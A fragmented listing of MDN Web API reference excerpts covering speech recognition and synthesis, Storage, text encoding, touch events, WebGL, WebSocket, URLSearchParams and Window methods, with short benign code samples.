SpeechRecognition.grammars - Web APIs
examples
this code is excerpted from our speech color changer example.
...ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.interimResults - Web APIs
examples
this code is excerpted from our speech color changer example.
...ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.maxAlternatives - Web APIs
examples
this code is excerpted from our speech color changer example.
...ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.onnomatch - Web APIs
the onnomatch property of the speechrecognition interface represents an event handler that will run when the speech recognition service returns a final result with no significant recognition (when the nomatch event fires.)
this may involve some degree of recognition, which doesn't meet or exceed the confidence threshold.
...
this is being worked on.
SpeechRecognition.onresult - Web APIs
the onresult property of the speechrecognition interface represents an event handler that will run when the speech recognition service returns a result — a word or phrase has been positively recognized and
this has been communicated back to the app (when the result event fires.) syntax myspeechrecognition.onresult = function() { ...
... }; examples
this code is excerpted from our speech color changer example.
SpeechRecognitionError.error - Web APIs
this speechrecognitionerror interface was renamed to speechrecognitionerrorevent in the web speech api specification.
...in
this case it would allow another more suitable speech recognition service to be used instead.
SpeechRecognitionError.message - Web APIs
this speechrecognitionerror interface was renamed to speechrecognitionerrorevent in the web speech api specification.
...note that the spec does not define the exact wording of these messages —
this is up to the implementors to decide upon.
SpeechRecognitionEvent.results - Web APIs
specifically
this object will contain all final results that have been returned, followed by the current best hypothesis for all interim results.
... examples
this code is excerpted from our speech color changer example.
SpeechRecognitionResult - Web APIs
properties speechrecognitionresult.isfinal read only a boolean that states whether
this result is final (true) or not (false) — if so, then
this is the final time
this result will be returned; if not, then
this result is an interim result, and may be updated later on.
... examples
this code is excerpted from our speech color changer example.
SpeechSynthesis.cancel() - Web APIs
examples var synth = window.speechsynthesis; var utterance1 = new speechsynthesisutterance('how about we say
this now?
...
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.cancel(); // utterance1 stops being spoken immediately, and both are removed from the queue specifications specification status comment web speech apithe definition of 'cancel()' in that specification.
SpeechSynthesis.onvoiceschanged - Web APIs
the onvoiceschanged property of the speechsynthesis interface represents an event handler that will run when the list of speechsynthesisvoice objects that would be returned by the speechsynthesis.getvoices() method has changed (when the voiceschanged event fires.)
this may occur when speech synthesis is being done on the server-side and the voices list is being determined asynchronously, or when client-side voices are installed/uninstalled while a speech synthesis application is running.
...}; examples
this could be used to populate a list of voices that the user can choose between when the event fires (see our speak easy synthesis demo.) note that firefox doesn't support it at present, and will just return a list of voices when speechsynthesis.getvoices() is fired.
SpeechSynthesis.pause() - Web APIs
examples var synth = window.speechsynthesis; var utterance1 = new speechsynthesisutterance('how about we say
this now?
...
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.pause(); // pauses utterances being spoken specifications specification status comment web speech apithe definition of 'pause()' in that specification.
SpeechSynthesis.pending - Web APIs
examples var synth = window.speechsynthesis; var utterance1 = new speechsynthesisutterance('how about we say
this now?
...
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); var amipending = synth.pending; // will return true if utterance 1 is still being spoken and utterance 2 is in the queue specifications specification status comment web speech apithe definition of 'pending' in that specification.
SpeechSynthesis.resume() - Web APIs
examples var synth = window.speechsynthesis; var utterance1 = new speechsynthesisutterance('how about we say
this now?
...
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.pause(); // pauses utterances being spoken synth.resume() // resumes speaking specifications specification status comment web speech apithe definition of 'resume()' in that specification.
SpeechSynthesis.speaking - Web APIs
examples var synth = window.speechsynthesis; var utterance1 = new speechsynthesisutterance('how about we say
this now?
...
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); var amispeaking = synth.speaking; // will return true if utterance 1 or utterance 2 are currently being spoken specifications specification status comment web speech apithe definition of 'speaking' in that specification.
SpeechSynthesisUtterance.SpeechSynthesisUtterance() - Web APIs
syntax var utter
this = new speechsynthesisutterance(text); parameters text a domstring containing the text that will be synthesized when the utterance is spoken..
... inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } synth.speak(utter
this); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speec...
SpeechSynthesisUtterance.onpause - Web APIs
the onpause property of the speechsynthesisutterance interface represents an event handler that will run when the utterance is paused part way through (when the pause event fires.)
this occurs when the speechsynthesis.pause() method is invoked.
... inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } synth.speak(utter
this); utter
this.onpause = function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); } ...
SpeechSynthesisUtterance.onresume - Web APIs
the onresume property of the speechsynthesisutterance interface represents an event handler that will run when a paused utterance is resumed (when the resume event fires.)
this occurs when the speechsynthesis.resume() method is invoked on a paused speech synthesis instance.
... inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } synth.speak(utter
this); utter
this.onresume = function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); ...
SpeechSynthesisUtterance.onstart - Web APIs
the onstart property of the speechsynthesisutterance interface represents an event handler that will run when the utterance has begun to be spoken (when the start event fires.)
this occurs when the speechsynthesis.speak() method is invoked.
... inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } synth.speak(utter
this); utter
this.onstart = function(event) { console.log('we have started uttering
this speech: ' + event.utterance.text); }...
SpeechSynthesisUtterance.pitch - Web APIs
if ssml is used,
this value will be overridden by prosody tags in the markup.
... inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } utter
this.pitch = 1.5; synth.speak(utter
this); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'pitch' in that specification.
SpeechSynthesisUtterance.voice - Web APIs
this should be set to one of the speechsynthesisvoice objects returned by speechsynthesis.getvoices().
... inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } synth.speak(utter
this); inputtxt.blur(); } specifications specification status comment web speech apithe defini...
SpeechSynthesisUtterance.volume - Web APIs
syntax var myvolume = speechsynthesisutteranceinstance.volume; speechsynthesisutteranceinstance.volume = 0.5; value a float that represents the volume value, between 0 (lowest) and 1 (highest.) if ssml is used,
this value will be overridden by prosody tags in the markup.
... inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } utter
this.volume = 0.5; synth.speak(utter
this); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'volume' in that specification.
SpeechSynthesisUtterance - Web APIs
events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of
this interface.
...m'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); for(var i = 0; i < voices.length; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; option.value = i; voiceselect.appendchild(option); } inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); utter
this.voice = voices[voiceselect.value]; synth.speak(utter
this); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisutterance' in that specification.
SpeechSynthesisVoice - Web APIs
speechsynthesisvoice.voiceuri read only returns the type of uri and location of the speech synthesis service for
this voice.
...n.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } utter
this.pitch = pitch.value; utter
this.rate = rate.value; synth.speak(utter
this); utter
this.onpause = function(event) { var ch...
Storage.removeItem() - Web APIs
if there is no item associated with the given key,
this method will do nothing.
... function populatestorage() { sessionstorage.setitem('bgcolor', 'red'); sessionstorage.setitem('font', 'helvetica'); sessionstorage.setitem('image', 'mycat.png'); sessionstorage.removeitem('image'); } note: to see
this used within a real world example, see our web storage demo.
Storage - Web APIs
methods storage.key() when passed a number n,
this method will return the name of the nth key in the storage.
....getitem('font'); var currentimage = localstorage.getitem('image'); document.getelementbyid('bgcolor').value = currentcolor; document.getelementbyid('font').value = currentfont; document.getelementbyid('image').value = currentimage; htmlelem.style.backgroundcolor = '#' + currentcolor; pelem.style.fontfamily = currentfont; imgelem.setattribute('src', currentimage); } note: to see
this running as a complete working example, see our web storage demo.
StorageEstimate.quota - Web APIs
this value is an estimate to help prevent its use for fingerprinting—that is, identifying a device using an amalgamation of the values of seemingly innocuous properties.
... example in
this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user.
StorageEstimate - Web APIs
the estimate() method returns an object that conforms to
this dictionary when its promise resolves.
...it's possible that there's more than
this amount of space available though you can't rely on that being the case.
StorageEvent - Web APIs
key optional the key whose value is changing as a result of
this event.
... storagearea optional the storage object representing the storage area on which
this event occurred.
StylePropertyMapReadOnly.forEach() - Web APIs
syntax stylepropertymapreadonly.foreach(function callback(currentvalue[, index[, array]]) { //your code }[,
thisarg]); parameters callback the function to execute for each element, taking three arguments: currentvalue the value of the current element being processed.
...
thisarg optional value to use as
this (i.e the reference object) when executing callback.
StylePropertyMapReadOnly - Web APIs
retrieve an instance of
this interface using element.computedstylemap().
... examples we have to have an element to observe: <p>
this is a paragraph with some text.
Stylesheet.href - Web APIs
for inline style sheets, the value of
this attribute is null.
...
this property is read-only in firefox, opera, google chrome, and safari, and it is read/write in internet explorer.
SubmitEvent.submitter - Web APIs
while
this is often an <input> element whose type or a <button> whose type is submit, it could be some other element which has initiated a submission process.
... examples in
this example, a shopping cart may have an assortment of different submit buttons depending on factors such as the user's settings, the shop's settings, and any minimum or maximum shopping card totals established by the payment processors.
SyncEvent - Web APIs
this interface inherits from the extendableevent interface.
... syncevent.tag read only returns the developer-defined identifier for
this syncevent.
TextDecoder - Web APIs
examples representing text with typed arrays
this example shows how to decode a chinese/japanese character , as represented by five different typed arrays: uint8array, int8array, uint16array, int16array, and int32array.
...8array([-16, -96, -82, -73]); let u16arr = new uint16array([41200, 47022]); let i16arr = new int16array([-24336, -18514]); let i32arr = new int32array([-1213292304]); console.log(utf8decoder.decode(u8arr)); console.log(utf8decoder.decode(i8arr)); console.log(utf8decoder.decode(u16arr)); console.log(utf8decoder.decode(i16arr)); console.log(utf8decoder.decode(i32arr)); handling non-utf8 text in
this example, we decode the russian text "Привет, мир!", which means "hello, world." in our textdecoder() constructor, we specify the windows-1251 character encoding, which is appropriate for cyrillic script.
TextEncoder - Web APIs
this is potentially more performant than the older encode() method.
... // else // ie 6-9 resarr.length = respos + 1; // trim off extra weight return resarr; }; textencoder.prototype.tostring = function(){return "[object textencoder]"}; try { // object.defineproperty only works on dom prototypes in ie8 object.defineproperty(textencoder.prototype,"encoding",{ get:function(){if(textencoder.prototype.isprototypeof(
this)) return"utf-8"; else throw typeerror("illegal invocation");} }); } catch(e) { /*ie6-8 fallback*/ textencoder.prototype.encoding = "utf-8"; } if(typeof symbol!=="undefined")textencoder.prototype[symbol.tostringtag]="textencoder"; } source: https://github.com/anonyco/fastestsmallesttextencoderdecoder specifications specification status ...
getTrackById() - Web APIs
this lets you find a specified track if you know its id string.
...if no match is found,
this method returns null.
TextTrackList.length - Web APIs
example
this snippet gets the number of text tracks in the first media element found in the dom by queryselector().
... var mediaelem = document.queryselector("video, audio"); var numtexttracks = 0; if (mediaelem.texttracks) { numtexttracks = mediaelem.texttracks.length; } note that
this sample checks to be sure htmlmediaelement.texttracks is defined, to avoid failing on browsers without support for texttrack.
TimeEvent - Web APIs
for
this event type, indicates the repeat number for the animation.
...
this method may only be called before the timeevent has been dispatched via the dispatchevent method, though it may be called multiple times during that phase if necessary.
msManipulationViewsEnabled - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
Touch.clientX - Web APIs
example
this example illustrates using the touch object's touch.clientx and touch.clienty properties.
... in
this example, we assume the user initiates a touch on an element with an id of source, moves within the element or out of the element and then releases contact with the surface.
Touch.clientY - Web APIs
example
this example illustrates using the touch object's touch.clientx and touch.clienty properties.
... in
this example, we assume the user initiates a touch on an element with an id of source, moves within the element or out of the element and then releases contact with the surface.
Touch.identifier - Web APIs
the touch.identifier returns a value uniquely identifying
this point of contact with the touch surface.
...
this value remains consistent for every event involving
this finger's (or stylus's) movement on the surface until it is lifted off the surface.
TouchEvent.changedTouches - Web APIs
syntax var changes = touchevent.changedtouches; return value changes a touchlist whose touch objects include all the touch points that contributed to
this touch event.
... example
this example illustrates the touchevent object's touchevent.changedtouches property.
TouchList.item() - Web APIs
example
this code example illustrates the use of the touchlist interface's item method and the length property.
... target = document.getelementbyid("target"); target.addeventlistener('touchstart', function(ev) { // if
this touchstart event started on element target, // set touch to the first item in the targettouches list; // otherwise set touch to the first item in the touches list var touch; if (ev.targettouches.length >= 1) touch = ev.targettouches.item(0); else touch = ev.touches.item(0); }, false); specifications specification status comment touch events – level 2 draft non-stable version.
TouchList.length - Web APIs
example
this code example illustrates the use of the touchlist interface's item method and the length property.
... target = document.getelementbyid("target"); target.addeventlistener('touchstart', function(ev) { // if
this touchstart event started on element target, // set touch to the first item in the targettouches list; // otherwise set touch to the first item in the touches list var touch; if (ev.targettouches.length >= 1) touch = ev.targettouches.item(0); else touch = ev.touches.item(0); }, false); specifications specification status comment touch events – level 2 draft non-stable version.
TrackDefault.TrackDefault() - Web APIs
if not specified,
this value will be an empty string and the sourcebuffer can contain any tracks of the specified type.
... errors when
this constructor is invoked, the following errors can occur: error explanation invalidaccesserror the supplied language is not a valid language code, e.g.
TrackDefault - Web APIs
the trackdefault interface provides a sourcebuffer with kind, label, and language information for tracks that do not contain
this information in the initialization segments of a media chunk.
... properties trackdefault.type read only returns the type of track that
this sourcebuffer's media segment data relates to (i.e.
TrackEvent.track - Web APIs
this will be an audiotrack, videotrack, or texttrack object.
...
this identifies the track to which the event applies.
TrackEvent - Web APIs
if not null,
this is always an object of one of the media track types: audiotrack, videotrack, or texttrack).
... example
this example sets up a function, handletrackevent(), which is callled for any addtrack or removetrack event on the first <video> element found in the document.
TransitionEvent.elapsedTime - Web APIs
the transitionevent.elapsedtime read-only property is a float giving the amount of time the animation has been running, in seconds, when
this event fired.
...
this value is not affected by the transition-delay property.
TransitionEvent - Web APIs
transitionevent.elapsedtime read only is a float giving the amount of time the transition has been running, in seconds, when
this event fired.
...
this value is not affected by the transition-delay property.
TreeWalker.expandEntityReferences - Web APIs
if
this value is false, the children of entity reference nodes (as well as all of their descendants) are rejected.
...
this takes precedence over the value of the treewalker.whattoshow method and the associated filter.
URL.hash - Web APIs
if the url does not have a fragment identifier,
this property contains an empty string — "".
... note:
this feature is available in web workers.
URLSearchParams.entries() - Web APIs
the entries() method of the urlsearchparams interface returns an iterator allowing iteration through all key/value pairs contained in
this object.
... note:
this feature is available in web workers.
URLSearchParams.forEach() - Web APIs
the foreach() method of the urlsearchparams interface allows iteration through all values contained in
this object via a callback function.
... note:
this feature is available in web workers.
URLSearchParams.keys() - Web APIs
the keys() method of the urlsearchparams interface returns an iterator allowing iteration through all keys contained in
this object.
... note:
this method is available in web workers.
URLSearchParams.values() - Web APIs
the values() method of the urlsearchparams interface returns an iterator allowing iteration through all values contained in
this object.
... note:
this feature is available in web workers.
USB.requestDevice() - Web APIs
calling
this function triggers the user agent's pairing flow.
...
this triggers a user-agent flow that prompts the user to select a device for pairing.
USBDevice.opened - Web APIs
example
this example is for a hypothetical usb device with a multi-colored led.
... async setdevicecolor(usbdevice, r, g, b) { if (device.opened) { //
this hypothetical usb device requires that the data passed to // it be in a uint8array.
USBIsochronousInTransferResult - Web APIs
this is the combined data from all packets.
... see the individual dataview objects in the packets array for the portion of
this buffer containing data from each packet.
UserDataHandler - Web APIs
obsolete since gecko 26 (firefox 26 / thunderbird 26 / seamonkey 2.23 / firefox os 1.2)
this feature is obsolete.
... methods handle (operation, key, data, src, dst) (no return value)
this method is a callback which will be called if a node is being cloned, imported, renamed and as well, if deleted or adopted.
validityState.badInput - Web APIs
note: while
this is unsupported in internet explorer, any non-numeric value will be dismissed from the field if it is a number input.
... recommendation first snapshot of html living standard containing
this interface.
ValidityState - Web APIs
note:
this property is never true in gecko, because elements' values are prevented from being longer than maxlength.
... recommendation first snapshot of html living standard containing
this interface.
Vibration API - Web APIs
the vibration api offers web apps the ability to access
this hardware, if it exists, and does nothing if the device doesn't support it.
...for example: window.navigator.vibrate([200, 100, 200]);
this vibrates the device for 200 ms, then pauses for 100 ms before vibrating the device again for another 200 ms.
VideoPlaybackQuality.droppedVideoFrames - Web APIs
this information can be used to determine whether or not to downgrade the video stream to avoid dropping frames.
... example
this example calls getvideoplaybackquality() to obtain a videoplaybackquality object, then determines what percentage of frames have been dropped.
Videotrack.language - Web APIs
for tracks that include multiple languages (such as a movie in english in which a few lines are spoken in other languages),
this should be the video's primary language.
... for example, if the primary language used in the track is united states english,
this value would be "en-us".
getTrackById - Web APIs
this lets you find a specified track if you know its id string.
...if no match is found,
this method returns null.
VideoTrackList.length - Web APIs
example
this snippet gets the number of video tracks in the first <video> element found in the dom by queryselector().
... var videoelem = document.queryselector("video"); var numvideotracks = 0; if (videoelem.videotracks) { numvideotracks = videoelem.videotracks.length; } note that
this sample checks to be sure htmlmediaelement.videotracks is defined, to avoid failing on browsers without support for videotrack.
VideoTrackList.onchange - Web APIs
example
this snippet establishes a handler for the change event that looks at each of the tracks in the list, calling a function to update the state of a user interface control that indicates the current state of the track.
... var tracklist = document.queryselector("video").videotracks; tracklist.onchange = function(event) { tracklist.foreach(function(track) { updatetrackselectedbutton(track.id, track.selected); }); }; the updatetrackselectedbutton(), in
this example, should be a function that finds a user interface control using the track's id (perhaps the app uses the track id as the control element's id) and the track's selected flag to determine which state the control should be in now.
WEBGL_lose_context - Web APIs
availability:
this extension is available to both, webgl1 and webgl2 contexts.
... examples with
this extension, you can simulate the webglcontextlost and webglcontextrestored events: const canvas = document.getelementbyid('canvas'); const gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextlost', (event) => { console.log(event); }); gl.getextension('webgl_lose_context').losecontext(); // webglcontextevent event with type "webglcontextlost" is logged.
WebGL2RenderingContext - Web APIs
to get an object of
this interface, call getcontext() on a <canvas> element, supplying "webgl2" as the argument: var canvas = document.getelementbyid('mycanvas'); var gl = canvas.getcontext('webgl2'); webgl 2 is an extension to webgl 1.
...you will find
this info noted on the webgl 1 reference pages.
WebGLRenderingContext.activeTexture() - Web APIs
subsequent calls that modify the texture state will affect
this texture.
... gl.activetexture(gl.texture1); the number of texture units is implementation dependent, you can get
this number with the help of the max_combined_texture_image_units constant.
WebGLRenderingContext.drawingBufferHeight - Web APIs
it should match the height attribute of the <canvas> element associated with
this context, but might differ if the implementation is not able to provide the requested height.
... syntax gl.drawingbufferheight; examples given
this <canvas> element: <canvas id="canvas"></canvas> you can get the height of the drawing buffer with the following lines: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.drawingbufferheight; // 150 specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.drawingbufferheight' in that specification.
WebGLRenderingContext.drawingBufferWidth - Web APIs
it should match the width attribute of the <canvas> element associated with
this context, but might differ if the implementation is not able to provide the requested width.
... syntax gl.drawingbufferwidth; examples given
this <canvas> element: <canvas id="canvas"></canvas> you can get the width of the drawing buffer with the following lines: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.drawingbufferwidth; // 300 specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.drawingbufferwidth' in that specification.
WebGLTransformFeedback - Web APIs
it allows to preserve the post-transform rendering state of an object and resubmit
this data multiple times.
...2renderingcontext.bindtransformfeedback() webgl2renderingcontext.begintransformfeedback() webgl2renderingcontext.endtransformfeedback() webgl2renderingcontext.pausetransformfeedback() webgl2renderingcontext.resumetransformfeedback() webgl2renderingcontext.transformfeedbackvaryings() webgl2renderingcontext.gettransformfeedbackvarying() examples creating a webgltransformfeedback object in
this example, gl must be a webgl2renderingcontext.
Hello vertex attributes - Web APIs
« previousnext »
this webgl example demonstrates how to combine shader programming and user interaction by sending user input to the shader using vertex attributes.
...ntal-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } })(); the source code of
this example is also available on github.
Textures from code - Web APIs
« previousnext »
this webgl example provides a simple demonstration of procedural texturing with fragment shaders.
...ntal-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } })(); the source code of
this example is also available on github.
WebGL by example - Web APIs
getting to know the rendering context detect webgl
this example demonstrates how to detect a webgl rendering context and reports the result to the user.
... miscellaneous advanced examples video textures
this example demonstrates how to use video files as textures.
WebRTC coding guide - Web APIs
this coding guide will explain in depth how webrtc works, and will dive into actual code that uses webrtc to do useful things.
... there are no subpages at
this time.
WebSocket.bufferedAmount - Web APIs
this value resets to zero once all queued data has been sent.
...
this value does not reset to zero when the connection is closed; if you keep calling send(),
this will continue to climb.
WebSocket: close event - Web APIs
given that you have a variable called examplesocket that refers to an opened websocket,
this handler would handle the situation where the socket has been closed.
... examplesocket.addeventlistener('close', (event) => { console.log('the connection has been closed successfully.'); )}; you can perform the same actions using the event handler property, like
this: examplesocket.onclose = function (event) { console.log('the connection has been closed successfully.'); }; specifications specification status html living standardthe definition of 'websocket close' in that specification.
WebXR permissions and security - Web APIs
in
this guide, we'll cover how to ensure your app has the permissions it needs to provide a secure and private xr experience.
...
this permission comes from the xr-spatial-tracking feature policy.
Targeting and hit detection - Web APIs
this content is just pasted here until work begins on writing
this article in earnest.
... the details of how to work with an individual platform's ranging system is beyond the scope of
this article.
Web Crypto API - Web APIs
if you're not sure you know what you are doing, you probably shouldn't be using
this api.
...in order to avoid confusion, methods and properties of
this interface have been removed from browsers implementing the web crypto api, and all web crypto api methods are available on a new interface: subtlecrypto.
Window.alert() - Web APIs
the following text is shared between
this article, dom:window.prompt and dom:window.confirm dialog boxes are modal windows - they prevent the user from accessing the rest of the program's interface until the dialog box is closed.
... for
this reason, you should not overuse any function that creates a dialog box (or modal window).
Window.clearImmediate() - Web APIs
this method clears the action specified by window.setimmediate.
...
this method is not expected to become standard, and is only implemented by recent builds of internet explorer and node.js 0.10+.
Window.confirm() - Web APIs
example if (window.confirm("do you really want to leave?")) { window.open("exit.html", "thanks for visiting!"); } produces: notes the following text is shared between
this article, dom:window.prompt and dom:window.alert dialog boxes are modal windows — they prevent the user from accessing the rest of the program's interface until the dialog box is closed.
... for
this reason, you should not overuse any function that creates a dialog box (or modal window).
Window.content - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this is useful in xul windows that have a <browser> (or tabbrowser or <iframe>) with type="content-primary" attribute on it — the most famous example is firefox main window, browser.xul.
Window.convertPointFromPageToNode - Web APIs
please review the browser compatibility section before using
this method, as it's not widely supported (nor is the point object it uses).
... specifications
this method was specified in the defunct 20 march 2009 working draft of css 2d transforms module level 3.
Window.find() - Web APIs
this is not implemented; see bug 481513.
... specification
this is not part of any specification.
Window.forward() - Web APIs
this was a firefox-specific method and was removed in firefox 31.
... example function goforward() { if (cangoforward) { window.forward(); } } specification
this is not part of any specification.
Window.fullScreen - Web APIs
bear in mind that if you try to set
this property without chrome privileges, it will not throw an exception and instead just silently fail.
...
this is to prevent scripts designed to set
this property in internet explorer from breaking.
Window: load event - Web APIs
this is in contrast to domcontentloaded, which is fired as soon as the page dom has been loaded, without waiting for resources to finish loading.
... living standard
this links to the section in the steps that are carried out at the end of loading a document.
window.location - Web APIs
this means that you can work with location as if it were a string in most cases: location = 'http://www.example.com' is a synonym of location.href = 'http://www.example.com'.
...note that security settings, like cors, may prevent
this to effectively happen.
Window.minimize() - Web APIs
a way to undo
this method programatically is by calling window.moveto().
... browser compatibility the compatibility table in
this page is generated from structured data.
Window.moveBy() - Web APIs
note:
this function moves the window relative to its current location.
... example
this example moves the window 10 pixels to the right and 10 pixels up.
Window.moveTo() - Web APIs
note:
this function moves the window to an absolute location.
... example
this example moves the window to the top-left corner of the screen.
Window.mozPaintCount - Web APIs
obsolete since gecko 72 (firefox 72 / thunderbird 72 / seamonkey 2.69)
this feature is obsolete.
... returns the number of times the current document has been painted to the screen in
this window.
Window.opener - Web APIs
if
this window was not opened by being linked to or created by another, returns null.
... in modern browsers, a rel="noopener noreferrer" attribute on the originating <a> element will prevent the window.opener reference from being set, in which case
this property will return null.
Window: pagehide event - Web APIs
bubbles no cancelable no interface pagetransitionevent event handler property onpagehide examples in
this example, an event handler is established to watch for pagehide events and to perform special handling if the page is being persisted for possible reuse.
... window.addeventlistener("pagehide", event => { if (event.persisted) { /* the page isn't being discarded, so it can be reused later */ } }, false);
this can also be written using the onpagehide event handler property on the window: window.onpagehide = event => { if (event.persisted) { /* the page isn't being discarded, so it can be reused later */ } } specifications specification status comment html living standardthe definition of 'pagehide' in that specification.
window.requestIdleCallback() - Web APIs
this enables developers to perform background and low priority work on the main event loop, without impacting latency-critical events such as animation and input response.
... browser compatibility the compatibility table in
this page is generated from structured data.
Window.routeEvent() - Web APIs
obsolete since gecko 24 (firefox 24 / thunderbird 24 / seamonkey 2.21)
this feature is obsolete.
... browser compatibility the compatibility table in
this page is generated from structured data.
Window.screenX - Web APIs
this was originally supported only in ie but was introduced everywhere due to popularity.
...in
this example we are using window.screenleft/window.screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
Window.screenY - Web APIs
this was originally supported only in ie but was introduced everywhere due to popularity.
...in
this example we are using window.screenleft/window.screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
Window.scroll() - Web APIs
